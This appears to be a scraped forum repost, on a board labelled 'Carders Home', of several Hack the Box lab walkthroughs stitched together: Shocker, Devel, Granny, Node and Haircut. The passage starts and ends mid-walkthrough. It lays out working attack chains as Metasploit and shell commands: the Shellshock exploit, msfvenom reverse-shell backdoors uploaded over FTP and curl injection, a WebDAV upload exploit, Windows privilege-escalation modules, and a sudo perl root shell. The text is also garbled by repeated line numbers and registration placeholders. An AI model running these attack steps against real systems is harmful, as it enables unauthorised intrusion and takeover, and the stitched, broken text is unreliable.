1
nmap -A 10.10.10.56
Awesome!! Nmap has done a remarkable job by dumping the details of services running on open port 80, 2222.
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-_E-gvR3cNIE/WsOqeM2E4ZI/AAAAAAAAWA4/Tz-7QMArXAYAw6BEqHm147LSpeV9ze3XQCLcBGAs/s1600/1.png?w=687&ssl=1)
Knowing port 80 is open on the victim’s network we preferred to explore his IP in the browser and the following image as shown below.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-62lW-FhUHyE/WsOqeCZyiHI/AAAAAAAAWA8/VXZBaxo-62wp3KCbIom6tX6AFosXq0dUwCLcBGAs/s1600/2.png?w=687&ssl=1)
Next, we use the dirb tool of kali to enumerate the directories and found some important directories such as /cgi-bin, index.html, server-status
dirb [To see content please register here]
1
dirb [To see content please register here]
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-XLlArL1V6i8/WsOqff4wTVI/AAAAAAAAWBQ/q8_Wx_B4KxU54hco64YUBnelfT4hOxS9ACLcBGAs/s1600/3.png?w=687&ssl=1)
As /cgi-bin / is a restricted directory, let’s look for a .sh file in the directory using dirb
dirb [To see content please register here] -X .sh
1
dirb [To see content please register here] -X .sh
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-jsMYTIMrggo/WsOqe2_pEII/AAAAAAAAWBE/9sEDw6QkLiEVAy7Ma77bo0HY8ao5AcT-QCLcBGAs/s1600/4.png?w=687&ssl=1)
Great we have the user.sh in the cgi-bin directory. We downloaded the user.sh by opening the URL
[To see content please register here]
1
[To see content please register here]
Now let’s open the user.sh file using cat
cat user.sh
1
cat user.sh
If you will Google for Apache web server with URI of /cgi-bin/ then you will realize that it could be Shellshock vulnerability, therefore, let for its exploitation using Metasploit.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-Paq9ZNITVH8/WsOqe8S6D_I/AAAAAAAAWBA/Rag_MqfwTQQqqBCJcJW1nN6u3F0NQ026ACLcBGAs/s1600/6.png?w=687&ssl=1)
Open a terminal type msfconsole for loading metasploit framework and use following module. This module targets CGI scripts in the Apache web server by setting the HTTP_USER_AGENT environment variable to a malicious function definition.
use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf exploit(apache_mod_cgi_bash_env_exec) >set rhost 10.10.10.56
msf exploit(apache_mod_cgi_bash_env_exec) >set lhost 10.10.14.6
msf exploit(apache_mod_cgi_bash_env_exec) >set targeturi /cgi-bin/user.sh
msf exploit(apache_mod_cgi_bash_env_exec) >expoit
1
2
3
4
5
use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf exploit(apache_mod_cgi_bash_env_exec) >set rhost 10.10.10.56
msf exploit(apache_mod_cgi_bash_env_exec) >set lhost 10.10.14.6
msf exploit(apache_mod_cgi_bash_env_exec) >set targeturi /cgi-bin/user.sh
msf exploit(apache_mod_cgi_bash_env_exec) >expoit
And we got victim’s reverse connection through meterpreter session 1 and hence our prediction is true the target was vulnerable to shellshock.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-B-NT6Jvp5d4/WsOqfe5YhvI/AAAAAAAAWBI/-hQoHZVt-wwDS_sQZDaIn8LjIlZnUw42ACLcBGAs/s1600/7.png?w=687&ssl=1)
Now let’s finish the task by grabbing user.txt and root.txt file. First I move into /home directory and check available files and directories inside it.
cd /home
ls
1
2
cd /home
ls
Here one directory shelly, when I explore /shelly I saw user.txt and use cat command for reading.
cd shelly
ls
cat user.txt
1
2
3
cd shelly
ls
cat user.txt
Great!! Here we had completed 1st task now move to 2nd tasK
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-gLxpjJ4204U/WsOqfp3ODiI/AAAAAAAAWBM/tttE4Yg_moYO5AjX4tuoQs8v1b_4bVM2QCLcBGAs/s1600/9.png?w=687&ssl=1)
For accessing root directory we need root privilege therefore next we use python one-liner for spawning pty shell.
Great!! I logged in successfully and check shelly’s privileged and roles using sudo -l and found he has root privileged and an indication for a directory /usr/bin/perl with NOPASSWD. Now let’s get the root.txt by executing the following command.
sudo perl –e 'exec "/bin/sh"'
id
ls
cat root.txt
1
2
3
4
sudo perl –e 'exec "/bin/sh"'
id
ls
cat root.txt
We have successfully completed the 2nd task.
Enjoy Hacking!!
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-1j4hk10s1ZM/WsOqdw66YqI/AAAAAAAAWA0/LmvxItQ3xecczKNVcGQfUytK3TUP_Tj6ACLcBGAs/s1600/10.png?w=687&ssl=1)
Hello friends!! Today we are going to solve another CTF challenge “Devel” which is categories as retired lab presented by Hack the Box for making online penetration practices. Challenges in this lab are very easy to complete even for beginners.
Level: Beginners
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online accessible therefore they have static IP. The IP of Devel is 10.10.10. 5 so let’s initiate with nmap port enumeration.
nmap -A 10.10.10.5
1
nmap -A 10.10.10.5
From given below image, you can observe we found port 21 and 80 are open and anonymous FTP login is allowed in victim’s network, therefore let’s go with FTP login.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-Js1Eopi3MnM/WsOZI7YB5cI/AAAAAAAAV_0/QowshlSCHr4jMR5ggk__FqqC2ftqBnauQCLcBGAs/s1600/1.png?w=687&ssl=1)
By using Anonymous: anonymous login credential you will get successfully access of FTP server via port 21 as shown below.
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-8S2gIX05JnY/WsOZIxHkLOI/AAAAAAAAV_4/bn5tQ7hFy5cN7rpI-bVfkEjVn7JzYA3mQCLcBGAs/s1600/2.png?w=687&ssl=1)
From given below image you can perceive we have access to the remote machine. From here I can upload or download any file therefore now my next strategy will be to upload a backdoor file to victim’s machine.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-UCHHv3i2Qgo/WsOZIh6vwFI/AAAAAAAAV_w/4TjcMLa9eFkVm9FdtlFm0uRQ8Ug_pC6iwCLcBGAs/s1600/3.png?w=687&ssl=1)
Without wasting time we had generated aspx backdoor using msfvenom with help of the following command and start multi handler in Metasploit framework.
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.14.6 lport=4444 -f aspx > shell.aspx
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.14.6 lport=4444 -f aspx > shell.aspx
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-H31qnSyLQLE/WsOZKKeYJOI/AAAAAAAAV_8/piUbRcruuQEhxfK2u8--HS7TA2wjZ2_PACLcBGAs/s1600/4.png?w=687&ssl=1)
Then transfer your shell.aspx file into victims’ system using Filezilla.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-_evm_vzJ240/WsOZKSrpCrI/AAAAAAAAWAA/as8LE6n437MAvgvuR_17yC-TBBtWfugLQCLcBGAs/s1600/5.png?w=687&ssl=1)
Now time to execute our shell through a web browser as shown below in the image.
[To see content please register here]
1
[To see content please register here]
![[Image: 6.1.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-823UhCgukHc/WsOZKQRzocI/AAAAAAAAWAE/QfhQPrK-u_cbNCe3zSBeW3f-AT40fKxUACLcBGAs/s1600/6.1.png?w=687&ssl=1)
After executing uploaded backdoor file come back to the Metasploit framework and wait for the meterpreter session.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.6
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.6
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
From given below image you can observe meterpreter session1 opened for accessing victim tty shell.
meterpreter>sysinfo
1
meterpreter>sysinfo
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-iypxELnLMao/WsOZLPB9l8I/AAAAAAAAWAI/Mk0J9uVc8m0_ISyJhROYoYibD3hQBWkgQCLcBGAs/s1600/6.png?w=687&ssl=1)
Then I run a post exploit “Multi Recon Local Exploit Suggester” that suggests local meterpreter exploits that can be used for the further exploit. The exploits are recommended founded on the architecture and platform that the user has a shell opened as well as the available exploits in meterpreter.
use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set session 1
msf post(multi/recon/local_exploit_suggester) > exploit
1
2
3
use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set session 1
msf post(multi/recon/local_exploit_suggester) > exploit
Wonderful!! Exploit Suggester truly proof itself by suggesting another exploit name to which target is vulnerable. So now we will go with the last option as highlighted in the image.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-bq5eCyd85us/WsOZLb2KfgI/AAAAAAAAWAQ/UjcMg17AU38mq2wBx35SGRXnthGdikgfwCLcBGAs/s1600/7.png?w=687&ssl=1)
use exploit/windows/local/ms10_015_kitrap0d
msf exploit(ms10_015_kitrap0d) >set lhost 10.10.14.6
msf exploit(ms10_015_kitrap0d) >set lport 4321
msf exploit(ms10_015_kitrap0d) >set session 2
msf exploit(ms10_015_kitrap0d) >exploit
1
2
3
4
5
use exploit/windows/local/ms10_015_kitrap0d
msf exploit(ms10_015_kitrap0d) >set lhost 10.10.14.6
msf exploit(ms10_015_kitrap0d) >set lport 4321
msf exploit(ms10_015_kitrap0d) >set session 2
msf exploit(ms10_015_kitrap0d) >exploit
The above-exploited module will create a new session with SYSTEM privileges via the KiTrap0D exploit.
Nice!! It works and we got new meterpreter session as system user and you can check in below image.
meterpreter > getuid
1
meterpreter > getuid
As we have tty shell that has system privileges now let’s complete this task my searching user.txt and root.txt flag which is hidden somewhere inside a directory.
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-zHNYsCOJIfM/WsOZLbvXqhI/AAAAAAAAWAM/cFll9h7SXnAMgD6GWFd00vyKTujBnBrmQCLcBGAs/s1600/8.png?w=687&ssl=1)
meterpreter > ls
1
meterpreter > ls
We have successfully grabbed the user.txt file from C:\Users\babis\Desktop and similarly we found root.txt from C:\Users\Administrator \Desktop.
Wonderful!! We had completed the task and hacked this box.
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-veP2_V3KJMc/WsOZLrysKjI/AAAAAAAAWAU/2wae7q7CRlgwLjxs4e8fl_NharJQQ_LKQCLcBGAs/s1600/9.png?w=687&ssl=1)
Hello friends!! Today we are going to solve another CTF challenge “Granny” which is categories as retired lab presented by Hack the Box for making online penetration practices. Challenges in this lab are not hard to complete although they are like a brain teaser for the beginner as well as for expert penetration tester too.
Level: Intermediate
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online accessible therefore they have static IP. The IP of Granny is 10.10.10.15 so let’s initiate with nmap port enumeration.
nmap -A 10.10.10.15
1
nmap -A 10.10.10.15
From the given below image, you can observe we found port 80 is open and Microsoft IIS 6.0 is running in victim’s network.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-kUeRsJQfPi8/WsJQoGcFOVI/AAAAAAAAV_U/3dR-IgoacSENAHybml9MQf_CPy-4ylWCwCEwYBhgL/s1600/1.png?w=687&ssl=1)
Significant port 80 is open in the victim’s network we preferred to explore his IP in the browser and resulting web page is shown below.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-rY9yh96NUzc/WsJQorpWdJI/AAAAAAAAV_k/-7KUyQqmf3Eta3QDBDRlbZIeHQZJXI18gCEwYBhgL/s1600/2.png?w=687&ssl=1)
Since we know Microsoft IIS httpd 6.0 is running in victims system therefore when I Google I found Rapid 7 exploit for this as highlighted in given below image.
![[Image: 3.1.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-KeXCXTmPauI/WsJQo85AN4I/AAAAAAAAV_k/ZvtxBilGOSkoYmmBYsYhawN0WQwRTToqACEwYBhgL/s1600/3.1.png?w=687&ssl=1)
Without wasting time I open a new terminal and type msfconsole for loading Metasploit framework and use module iis_webdav for exploiting targets system.
use exploit/windows/iis/iis_webdav_upload_asp
msf exploit(windows/iis/iis_webdav_upload_asp) >set rhost 10.10.10.15
msf exploit(windows/iis/iis_webdav_upload_asp) >run
1
2
3
use exploit/windows/iis/iis_webdav_upload_asp
msf exploit(windows/iis/iis_webdav_upload_asp) >set rhost 10.10.10.15
msf exploit(windows/iis/iis_webdav_upload_asp) >run
From given below image you can observe meterpreter shell session1 opened for accessing victim tty shell.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-ta0dkIIpIoI/WsJQo2SiujI/AAAAAAAAV_Y/gglUJwDXgtE-Z_u0WUPAu9Vkke_xFSbbQCEwYBhgL/s1600/3.png?w=687&ssl=1)
Every time my meterpreter session get died therefore I go post exploitation for migrating current process into another process by executing the following module.
use post/windows/manage/migrate
msf post(windows/manage/migrate)>set session 1
msf post(windows/manage/migrate)> run
1
2
3
use post/windows/manage/migrate
msf post(windows/manage/migrate)>set session 1
msf post(windows/manage/migrate)> run
Above module will migrate a Meterpreter session from one process to another. A given process PID to migrate to or the module can spawn one and migrate to that newly spawned process.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-NXFVsIk7VLE/WsJQpMQ4RRI/AAAAAAAAV_U/rJfRsIoJWSos-P7aH2_u5476L6tdj9whQCEwYBhgL/s1600/4.png?w=687&ssl=1)
Then I run a post exploit “Multi Recon Local Exploit Suggester” that suggests local meterpreter exploits that can be used for the further exploit. The exploits are recommended founded on the architecture and platform that the user has a shell opened as well as the available exploits in meterpreter.
use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set session 1
msf post(multi/recon/local_exploit_suggester) > exploit
1
2
3
use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set session 1
msf post(multi/recon/local_exploit_suggester) > exploit
Wonderful!! Exploit Suggester truly proof itself by suggesting another exploit name to which target is vulnerable. So now we will go with the last option as highlighted in the image.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-uSjmI2RQ9u4/WsJQpgnRIrI/AAAAAAAAV_U/prr2kJOoYfUlnUgfquJ1ziMR0fWyNJvpQCEwYBhgL/s1600/5.png?w=687&ssl=1)
At this time use pprFlattenRec Local Privilege Escalation module for making unauthorized access again but as privileged user.
use exploit/windows/local/ppr_flatten_rec
msf exploit(windows/local/ppr_flatten_rec) >set session 1
msf exploit(windows/local/ppr_flatten_rec) >set wait 20
msf exploit(windows/local/ppr_flatten_rec) > set lhost 10.10.14.6
msf exploit(windows/local/ppr_flatten_rec) > exploit
1
2
3
4
5
use exploit/windows/local/ppr_flatten_rec
msf exploit(windows/local/ppr_flatten_rec) >set session 1
msf exploit(windows/local/ppr_flatten_rec) >set wait 20
msf exploit(windows/local/ppr_flatten_rec) > set lhost 10.10.14.6
msf exploit(windows/local/ppr_flatten_rec) > exploit
Nice!! It works and we got meterpreter session 2 as system user and you can check in below image.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-DnvN3WdEvcA/WsJQp6IOQUI/AAAAAAAAV_c/fG5cFIJPQl0q-lnsKndgKNts-Y4LhM1lgCEwYBhgL/s1600/6.png?w=687&ssl=1)
meterpreter > getuid
1
meterpreter > getuid
As we have tty shell that has system privileges now let’s complete this task my searching user.txt and root.txt flag which is hidden somewhere inside a directory.
meterpreter > ls
1
meterpreter > ls
Here we found Document and setting let’s explore
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-MQlNr24YMgI/WsJQpni0JfI/AAAAAAAAV_M/tOPmdDAx2B4CnG7iqWknUzwQtHbr4U5bwCEwYBhgL/s1600/7.png?w=687&ssl=1)
Inside C:\Document and Setting\Lakis\Desktop I found the user.txt file and used the type “filename” command for reading this file.
cd Lakis/Desktop
cat user.txt
1
2
cd Lakis/Desktop
cat user.txt
Great!! We got our 1st flag successfully
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-Ank_yXjYaZI/WsJQoDqH45I/AAAAAAAAV_k/sPNw5Gi0gccDy4G7SqkLypm7n1h2Cq6OwCEwYBhgL/s1600/10.png?w=687&ssl=1)
Inside C:\Document and Setting\Administrtator\Desktop I found the root.txt file and used the type “filename” command for reading this file.
cd Administrator/Desktop
cat root.txt
1
2
cd Administrator/Desktop
cat root.txt
Great!! We got our 2nd flag successfully
Breaching this lab was an interesting and enjoyable moment for me. It will take less time if you are aware of proper Metasploit exploits. Therefore I will give all Glory to Metasploit for making this challenge easy for me.
Happy Hacking!!
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-NDzZ7FXV3R8/WsJQn2Oi6xI/AAAAAAAAV_c/5Bx0d4fXg0YN6fzAESB6pvr_7BriK8kcACEwYBhgL/s1600/11.png?w=687&ssl=1)
Hello friends!! Today we are going to solve another CTF challenge “Node” which is available online for those who want to increase their skill in penetration testing and black box testing. Node is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Intermediate
Task: find user.txt and root.txt file on victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.58 so let’s begin with nmap port enumeration.
nmap -A 10.10.10.58
From given below image, you can observe we found port 22 and 3000 are open in victim’s network.
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-7GDWF4UjvEQ/WsHW8ODFkoI/AAAAAAAAV88/dyWWQwgJNWo6_rssmLCsloAQi8bJXDIvQCLcBGAs/s1600/1.png?w=687&ssl=1)
Knowing port 3000 is running HTTP on target machine we preferred to explore his IP our browser.
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-nWCg6Xmm7jI/WsHW9jDIQwI/AAAAAAAAV9U/2MazCO4GqmYy5ZXNe3ijA2dnrFXvlJOTQCLcBGAs/s1600/2.png?w=687&ssl=1)
We don’t find anything on the home page so we take a look at the source code of the page and go through javascripts. In one of the javascript we find a link to a page called /api/users/latest.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-kxlCUhrbnJs/WsHW-wDE57I/AAAAAAAAV9o/MAc-BBm2OkQXuGqX5MkpES5vWW3SqUsMwCLcBGAs/s1600/3.png?w=687&ssl=1)
We open /api/users and find a username and passwords in the hash.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-7S2_JtNIr1U/WsHW_FPNNMI/AAAAAAAAV9w/Pp-6wBqv_1UuJ58VzTmgMSgGT9-w8RkqwCLcBGAs/s1600/4.png?w=687&ssl=1)
We use [To see content please register here] to decode the hashes that we found earlier.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-1xS9B5eknrc/WsHW_byWKgI/AAAAAAAAV90/a0X6Iv0FNUg6o9ub1dwtOZFELBK-NjmGACLcBGAs/s1600/5.png?w=687&ssl=1)
We click on login and use one the username to login with its corresponding password. When we log in we find an option to download the backup. We click on it and it downloads a file called “myplace.backup”.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-LP-YYSgITsc/WsHW_y6dEnI/AAAAAAAAV98/fx40gYktGWIA2OhWaamsRUYx3lJBPGRKACLcBGAs/s1600/6.png?w=687&ssl=1)
We try to take a look at the downloaded file and find that it is base64 encoded.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-G35FaKpwSVI/WsHW_sz9OTI/AAAAAAAAV94/gbfVoYnaowYOVWaFG9WkSWczRIp4sWASwCLcBGAs/s1600/7.png?w=687&ssl=1)
We decode the backup file and find it to be a zip file.
cat myplace.backup | base64 --decode > myplace
1
cat myplace.backup | base64 --decode > myplace
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-XP_shm4fMsc/WsHW_wYjfnI/AAAAAAAAV-A/sUFDy-Op3vEa3206zemBjGx874JF3Ks1wCLcBGAs/s1600/8.png?w=687&ssl=1)
When we try to unzip the file it asks for a password, so we use fcrackzip to brute-force the zip file using rockyou.txt as wordlist. After brute-forcing the file we find the password; we use this password to unzip the file.
fcrackzip -D -p /usr/share/wordlists/rockyou.txt data.zip
1
fcrackzip -D -p /usr/share/wordlists/rockyou.txt data.zip
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-Dg4VeMOd5L8/WsHXAmg036I/AAAAAAAAV-E/K-GwiCBibsQcys-plE039COPD2MTeCqcQCLcBGAs/s1600/9.png?w=687&ssl=1)
After unzipping the file we find a file few HTML and javascript files that look like the implementation of node.js. In app.js we find the username and password hash for monogDB.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-O-CnH9wIREU/WsHW71OfXkI/AAAAAAAAV84/irdv40NhSHYqjSsILgTUusjuQWYH0L8rwCLcBGAs/s1600/10.png?w=687&ssl=1)
We use this username and password to login through ssh into the target machine.
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-Euvr_09_u4k/WsHW7zuDzDI/AAAAAAAAV80/uKotf4VWUtMM55ajv-ubgrxz3A0w69nvACLcBGAs/s1600/11.png?w=687&ssl=1)
We use wget to download the linEnum.sh file into the target machine and use it to enumerate the machine.
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-c2_YXpsxemU/WsHW8gS1ShI/AAAAAAAAV9A/NbsysoN0vjExrcqJ9h5bmA1uT5y7ETiPwCLcBGAs/s1600/15.png?w=687&ssl=1)
After logging in through ssh we download linEnum.sh into the target machine to enumerate the target machine and look for privilege escalation vectors.
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-L6bD_7nUaM0/WsHW8ncw0WI/AAAAAAAAV9E/SB2jDzjJnukXCbzz8eQn7najXkfAGvOHQCLcBGAs/s1600/16.png?w=687&ssl=1)
We find 3 directories inside the home that means there may be 3 users with this name.
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-_9ZZhazdg7k/WsHW86_q9wI/AAAAAAAAV9I/6tpVEO0CoWYjEsIQAYrxJeT_Q-g8pSsMgCLcBGAs/s1600/17.png?w=687&ssl=1)
When we take a look at the process running into the system, we find that it is running app.js as tom user.
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-0zecJUB8CBo/WsHW9Q_BY3I/AAAAAAAAV9M/ME_Ea5IEhlot_eQSY4m1tN70D3_ShkC7wCLcBGAs/s1600/18.png?w=687&ssl=1)
We open app.js and find the same username and password that we found earlier. It means that its backup was created using some script or program that we find earlier. Going through the file we also find this script calls for a file called backup in /usr/local/bin directory and uses a key to create a backup.
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-At61KTdrYqQ/WsHW9QL-7TI/AAAAAAAAV9Q/6m2ZkxPZQHAa4JZlnUxW3FekF9d77k8awCLcBGAs/s1600/19.png?w=687&ssl=1)
Now that we know that the target machine is running mongoDB we use this to exploit the system and get a reverse shell.
We first create a python one-liner reverse shell using msfvenom.
msfvenom -p cmd/unix/reverse_python lhost=10.10.14.3 lport 8765 R
1
msfvenom -p cmd/unix/reverse_python lhost=10.10.14.3 lport 8765 R
![[Image: 20.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-MexYIEanNhk/WsHW9yuOjRI/AAAAAAAAV9Y/R980z_to1l8f9I1U1huEeNfBzRGScU5gACLcBGAs/s1600/20.png?w=687&ssl=1)
We copy the python command and paste in a bash file in /var/www/html in our system. Now we use wget to download it into the target machine. We get it read, write and execute permission using chmod. We then schedule mongoDB to run the file using the username mark and the password we find in the javascript file.
![[Image: 21.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-hPpscfTzKWs/WsHW-F80D4I/AAAAAAAAV9c/4ct2ZDUO13Es3wD_FkutRs6n2NyXzB2QgCLcBGAs/s1600/21.png?w=687&ssl=1)
We then set up our listener using netcat and wait for the reverse shell. After getting the reverse shell we spawn a tty shell using python and we find that we are login as tom user. Now we go to /home/tom directory and find the user.txt; when we open the file we get our first flag.
![[Image: 22.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-8nioe2SwVbY/WsHW-VFIx5I/AAAAAAAAV9g/BaYTOP9Ahy0Y_pKjDwFPUotcDycjp-xiwCLcBGAs/s1600/22.png?w=687&ssl=1)
Now we create a new directory test, and we then symlink root.txt in root directory with /tmp/test. We then use backup binary to create a zip file that creates a backup for /tmp/test/ directory. As /tmp/test directory is linked to /root/root.txt it will actually create backup of the root.txt file in root directory.
mkdir test
ln -s /root/root.txt /tmp/test
/usr/bin/backup -q “the key in app.js” /tmp/test
1
2
3
mkdir test
ln -s /root/root.txt /tmp/test
/usr/bin/backup -q “the key in app.js” /tmp/test
![[Image: 23.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-cg-0RGXcwco/WsHW-dCJLCI/AAAAAAAAV9k/bwZ1bwz5BRwfz4DwENQEyr3zLKD6XU4WgCLcBGAs/s1600/23.png?w=687&ssl=1)
We again go the web page and download the backup file. We decode it in the similar manner we did earlier and use the password “magicword” we found earlier to unzip the file. After unzipping the file we find root.txt when we open the file we find our final flag.
|
|
|
|
| [Guide] How to Hack the Box Challenge: Haircut Walkthrough |
|
Posted by: NINZA - 05-14-2020, 08:38 AM - Forum: Carders Home
- No Replies
|
 |
Hello friends!! Today we are going to solve another CTF challenge “Haircut” which is categories as retired lab presented by Hack the Box for making online penetration practices. Solving challenges in this lab is not that much easy until you don’t have some knowledge of WAPT. Let start and learn how to analyze any vulnerability in a network then exploit it for retrieving desired information.
Level: Intermediate
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online accessible therefore they have static IP. The IP of Haircut is 10.10.10.24 so let’s initiate with nmap port enumeration.
nmap -A 10.10.10.24
1
nmap -A 10.10.10.24
From the given below image, you can observe we found port 22 and 80 are open in the victim’s network.
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-SO4urZXQpJA/WsDxi0XpYQI/AAAAAAAAV64/BAMrSuGU_OQEAJCCDHxj8XG7L_VltZHVACLcBGAs/s1600/1.png?w=687&ssl=1)
Knowing port 80 is open to the victim’s network we preferred to explore his IP in a browser and the following image as shown below.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-CGUVyp8Awac/WsDxnpfdFyI/AAAAAAAAV7o/PmJYf8QntaciSt6ldlE1vGZRoQZ9m6kTACLcBGAs/s1600/2.png?w=687&ssl=1)
Then I preferred to use dirbuster tool and chose directory list 2-3 medium.txt file for directory brute force attack on [To see content please register here] for PHP file extension.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-GVCeErn2rQA/WsDxp_olyUI/AAAAAAAAV78/TUFzSj3vRGozVAqyaZe3__TA6TJO6RMygCLcBGAs/s1600/3.png?w=687&ssl=1)
As a result, it found the uploads directory with 403 response and an exposed.php file with 200 ok response.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-rRDDvJeGoGM/WsDxp1dHsWI/AAAAAAAAV74/ihjc-J6cth0yL1V_i-vGNpLa3uBaqU1HgCLcBGAs/s1600/4.png?w=687&ssl=1)
When we explored [To see content please register here] we found a search page for finding the location of any hairdresser’s.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-deYt_L_SOCU/WsDxq1mcO4I/AAAAAAAAV8A/i8trH4oY1os2-rrP9Qxo0XkAwt3xOXRZgCLcBGAs/s1600/6.png?w=687&ssl=1)
For testing, I search for google.com and received very uncommon result but when I inspect the following code I notice the word “CURL” which might be pointing towards running curl service in targets system. As we known curl have upload or download option and hence here we can transfer our backdoor to targets system.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-mf4VKFJRWow/WsDxrButi_I/AAAAAAAAV8E/s6AWLqJh2V85p8cLuT0r2p5ALCEo_xqOwCLcBGAs/s1600/7.png?w=687&ssl=1)
Without wasting time I generated a PHP backdoor with help of msfvenom and start multi/handler inside the Metasploit framework.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.3 lport=4321 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.3 lport=4321 -f raw
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-JnmXfFWRGck/WsDxrpnzTeI/AAAAAAAAV8I/niXg13Sx6_4SzBJc1-Kb1OvA5vVT85QKgCLcBGAs/s1600/8.png?w=687&ssl=1)
Now we need to transfer our backdoor file to the target system therefore first we need to run python server on port 80 using the following command.
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-TY96qZeCR_w/WsDxrhib0eI/AAAAAAAAV8M/FFgvVFkv_sAUBKtHYlP5fJ1pEIPTooj1QCLcBGAs/s1600/9.png?w=687&ssl=1)
First I tried to upload the file directly through browser [To see content please register here] but got failed at that point I use burpsuite for fetching HTTP post request and send it to the repeater. Then I run curl command for downloading any file from the given path by omitting word “curl” as shown below.
formurl = -o uploads/revshell.php [To see content please register here]
1
